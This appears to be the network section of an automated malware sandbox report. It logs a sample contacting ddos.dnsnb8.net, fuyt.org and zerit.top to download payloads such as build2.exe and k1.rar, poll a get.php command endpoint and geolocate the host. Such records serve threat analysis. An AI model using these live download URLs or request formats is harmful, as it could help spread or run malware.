Jul 25, 2024 02:01:01.347345114 CEST	799	49732	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:01.347414970 CEST	49732	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:01.347450018 CEST	49732	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:01.348681927 CEST	49732	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:01.353471041 CEST	799	49732	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:03.578974962 CEST	49733	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:03.583939075 CEST	799	49733	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:03.584085941 CEST	49733	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:03.585427046 CEST	49733	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:03.590218067 CEST	799	49733	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:03.835814953 CEST	80	49709	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:03.836108923 CEST	49709	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:03.836108923 CEST	49709	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:03.840993881 CEST	80	49709	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:03.971033096 CEST	80	49711	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:03.971414089 CEST	49711	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:03.972536087 CEST	49711	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:03.973319054 CEST	49734	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:03.977350950 CEST	80	49711	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:03.978193045 CEST	80	49734	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:03.978270054 CEST	49734	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:03.978391886 CEST	49734	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:03.983119965 CEST	80	49734	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:04.008964062 CEST	799	49733	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:04.009157896 CEST	49733	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:04.009166956 CEST	799	49733	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:04.009253025 CEST	49733	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:04.021325111 CEST	49733	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:04.026258945 CEST	799	49733	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:05.680531025 CEST	80	49716	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:05.680682898 CEST	49716	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:05.680789948 CEST	49716	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:05.685676098 CEST	80	49716	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:06.452491999 CEST	49735	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:06.457451105 CEST	799	49735	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:06.457588911 CEST	49735	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:06.458168983 CEST	49735	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:06.462975025 CEST	799	49735	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:06.884593010 CEST	799	49735	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:06.884663105 CEST	799	49735	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:06.884980917 CEST	49735	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:06.886059999 CEST	49735	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:06.891041994 CEST	799	49735	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:08.878726959 CEST	49736	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:08.883755922 CEST	80	49736	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:08.883908033 CEST	49736	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:08.884052038 CEST	49736	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:08.889008999 CEST	80	49736	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:09.640537977 CEST	49737	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:09.646323919 CEST	799	49737	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:09.646506071 CEST	49737	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:09.646846056 CEST	49737	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:09.652586937 CEST	799	49737	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:10.052776098 CEST	799	49737	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:10.052963018 CEST	49737	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:10.053064108 CEST	799	49737	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:10.053118944 CEST	49737	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:10.053975105 CEST	49737	799	192.168.2.5	44.221.84.105
Jul 25, 2024 02:01:10.058799982 CEST	799	49737	44.221.84.105	192.168.2.5
Jul 25, 2024 02:01:10.706943989 CEST	49738	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:10.712034941 CEST	80	49738	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:10.712171078 CEST	49738	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:10.712363005 CEST	49738	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:10.717139959 CEST	80	49738	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:25.367194891 CEST	80	49734	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:25.367314100 CEST	49734	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:25.367408991 CEST	49734	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:25.372294903 CEST	80	49734	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:30.271862984 CEST	80	49736	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:30.271980047 CEST	49736	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:30.272162914 CEST	49736	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:30.276901007 CEST	80	49736	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:32.100419998 CEST	80	49738	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:32.100512028 CEST	49738	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:32.100713015 CEST	49738	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:32.105530977 CEST	80	49738	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:35.333401918 CEST	49740	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:35.338598967 CEST	80	49740	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:35.338764906 CEST	49740	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:35.339005947 CEST	49740	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:35.343765020 CEST	80	49740	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:37.160021067 CEST	49741	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:37.165366888 CEST	80	49741	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:37.165487051 CEST	49741	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:37.165685892 CEST	49741	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:37.170516014 CEST	80	49741	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:56.726244926 CEST	80	49740	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:56.726471901 CEST	49740	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:56.726650953 CEST	49740	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:56.731369019 CEST	80	49740	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:58.587667942 CEST	80	49741	92.246.89.93	192.168.2.5
Jul 25, 2024 02:01:58.587781906 CEST	49741	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:58.591703892 CEST	49741	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:01:58.596556902 CEST	80	49741	92.246.89.93	192.168.2.5
Jul 25, 2024 02:02:01.738181114 CEST	49743	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:02:01.744780064 CEST	80	49743	92.246.89.93	192.168.2.5
Jul 25, 2024 02:02:01.744913101 CEST	49743	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:02:01.745112896 CEST	49743	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:02:01.750149965 CEST	80	49743	92.246.89.93	192.168.2.5
Jul 25, 2024 02:02:03.708498955 CEST	49744	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:02:03.713486910 CEST	80	49744	92.246.89.93	192.168.2.5
Jul 25, 2024 02:02:03.713618040 CEST	49744	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:02:03.713804960 CEST	49744	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:02:03.718554020 CEST	80	49744	92.246.89.93	192.168.2.5
Jul 25, 2024 02:02:23.115770102 CEST	80	49743	92.246.89.93	192.168.2.5
Jul 25, 2024 02:02:23.115834951 CEST	49743	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:02:23.116046906 CEST	49743	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:02:23.120841026 CEST	80	49743	92.246.89.93	192.168.2.5
Jul 25, 2024 02:02:25.105751991 CEST	80	49744	92.246.89.93	192.168.2.5
Jul 25, 2024 02:02:25.105887890 CEST	49744	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:02:25.107841015 CEST	49744	80	192.168.2.5	92.246.89.93
Jul 25, 2024 02:02:25.112730980 CEST	80	49744	92.246.89.93	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2024 02:00:34.729139090 CEST	58201	53	192.168.2.5	1.1.1.1
Jul 25, 2024 02:00:34.829552889 CEST	53	58201	1.1.1.1	192.168.2.5
Jul 25, 2024 02:00:36.992259026 CEST	64262	53	192.168.2.5	1.1.1.1
Jul 25, 2024 02:00:37.001801968 CEST	53	64262	1.1.1.1	192.168.2.5
Jul 25, 2024 02:00:42.428317070 CEST	63691	53	192.168.2.5	1.1.1.1
Jul 25, 2024 02:00:42.430962086 CEST	56058	53	192.168.2.5	1.1.1.1
Jul 25, 2024 02:00:42.441524982 CEST	53	56058	1.1.1.1	192.168.2.5
Jul 25, 2024 02:00:42.601618052 CEST	53	63691	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 25, 2024 02:00:34.729139090 CEST	192.168.2.5	1.1.1.1	0xe6c1	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 25, 2024 02:00:36.992259026 CEST	192.168.2.5	1.1.1.1	0x58eb	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jul 25, 2024 02:00:42.428317070 CEST	192.168.2.5	1.1.1.1	0xd5a2	Standard query (0)	zerit.top	A (IP address)	IN (0x0001)	false
Jul 25, 2024 02:00:42.430962086 CEST	192.168.2.5	1.1.1.1	0x8f19	Standard query (0)	fuyt.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 25, 2024 02:00:34.829552889 CEST	1.1.1.1	192.168.2.5	0xe6c1	No error (0)	ddos.dnsnb8.net	44.221.84.105	A (IP address)	IN (0x0001)	false
Jul 25, 2024 02:00:37.001801968 CEST	1.1.1.1	192.168.2.5	0x58eb	No error (0)	api.2ip.ua	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 25, 2024 02:00:37.001801968 CEST	1.1.1.1	192.168.2.5	0x58eb	No error (0)	api.2ip.ua	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 25, 2024 02:00:42.441524982 CEST	1.1.1.1	192.168.2.5	0x8f19	No error (0)	fuyt.org	92.246.89.93	A (IP address)	IN (0x0001)	false
Jul 25, 2024 02:00:42.601618052 CEST	1.1.1.1	192.168.2.5	0xd5a2	No error (0)	zerit.top	92.246.89.93	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

ddos.dnsnb8.net:799

fuyt.org

zerit.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	44.221.84.105	799	5908	C:\Users\user\AppData\Local\Temp\VOsoyD.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:00:35.898365021 CEST	288	OUT	GET /cj//k1.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	92.246.89.93	80	5316	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:00:42.447540998 CEST	136	OUT	GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49711	92.246.89.93	80	5316	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:00:42.607495070 CEST	89	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zerit.top

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49716	92.246.89.93	80	7204	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:00:44.279242992 CEST	125	OUT	GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49730	44.221.84.105	799	7652	C:\Users\user\AppData\Local\Temp\VOsoyD.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:00:57.255054951 CEST	288	OUT	GET /cj//k1.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49732	44.221.84.105	799	7652	C:\Users\user\AppData\Local\Temp\VOsoyD.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:01:00.951025009 CEST	288	OUT	GET /cj//k2.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49733	44.221.84.105	799	7652	C:\Users\user\AppData\Local\Temp\VOsoyD.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:01:03.585427046 CEST	288	OUT	GET /cj//k3.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49734	92.246.89.93	80	5316	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:01:03.978391886 CEST	93	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49735	44.221.84.105	799	7652	C:\Users\user\AppData\Local\Temp\VOsoyD.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:01:06.458168983 CEST	288	OUT	GET /cj//k4.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49736	92.246.89.93	80	5316	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:01:08.884052038 CEST	136	OUT	GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49737	44.221.84.105	799	7652	C:\Users\user\AppData\Local\Temp\VOsoyD.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:01:09.646846056 CEST	288	OUT	GET /cj//k5.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49738	92.246.89.93	80	7204	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:01:10.712363005 CEST	125	OUT	GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49740	92.246.89.93	80	5316	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:01:35.339005947 CEST	136	OUT	GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49741	92.246.89.93	80	7204	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:01:37.165685892 CEST	125	OUT	GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49743	92.246.89.93	80	5316	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:02:01.745112896 CEST	136	OUT	GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49744	92.246.89.93	80	7204	C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 02:02:03.713804960 CEST	125	OUT	GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: fuyt.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	188.114.96.3	443	2568	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 00:00:37 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-25 00:00:38 UTC	922	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 25 Jul 2024 00:00:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nt47U46lbK5G%2Fq%2BunkGk%2BE1YqOUl%2F%2FlSe13DXhjbKUtjNndl2CYYeIUizpNgtB9S%2BjRwbKhQwTK9Vb07298h%2BhjEoqETxO80B%2FBgx62Zo6pFGd9lX5Q0W4uyYS0k"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a87deebdbc843bd-EWR alt-svc: h3=":443"; ma=86400
2024-07-25 00:00:38 UTC	447	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 30 30 38 30 35 30 63 31 30 32 30 35 32 30 39 31 30 34 65 30 64 30 35 35 66 31 33 31 35 30 32 30 61 30 35 30 33 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#6008050c10205209104e0d055f1315020a0503
2024-07-25 00:00:38 UTC	375	IN	Data Raw: d1 81 d0 be d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 66 32 39 61 39 37 39 65 38 32 62 32 63 30 39 62 38 32 64 63 38 37 39 33 63 64 38 31 38 37 39 30 39 38 39 37 39 31 38 36 63 66 63 30 39 62 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#f29a979e82b2c09b82dc8793cd81879098979186cfc09b
2024-07-25 00:00:38 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-07-25 00:00:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49707	188.114.96.3	443	5316	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 00:00:41 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-07-25 00:00:42 UTC	920	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 25 Jul 2024 00:00:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4FNzg1uiF7yRDfy3JZzUw%2BIWgx0t5dT2xnbhXEcly2REabKSoR9%2F%2FP%2B6Hczdj%2FNiA5thN7qQXAc3Em5j%2BuOCDrZnlA%2FCP4zxAA6Nyjtw7nbQ4yeumnNG5FQHCTCZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a87df06bcef7289-EWR alt-svc: h3=":443"; ma=86400
2024-07-25 00:00:42 UTC	449	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 34 31 32 39 32 34 32 64 33 31 30 31 37 33 32 38 33 31 36 66 32 63 32 34 37 65 33 32 33 34 32 33 32 62 32 34 32 32 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#4129242d31017328316f2c247e3234232b2422
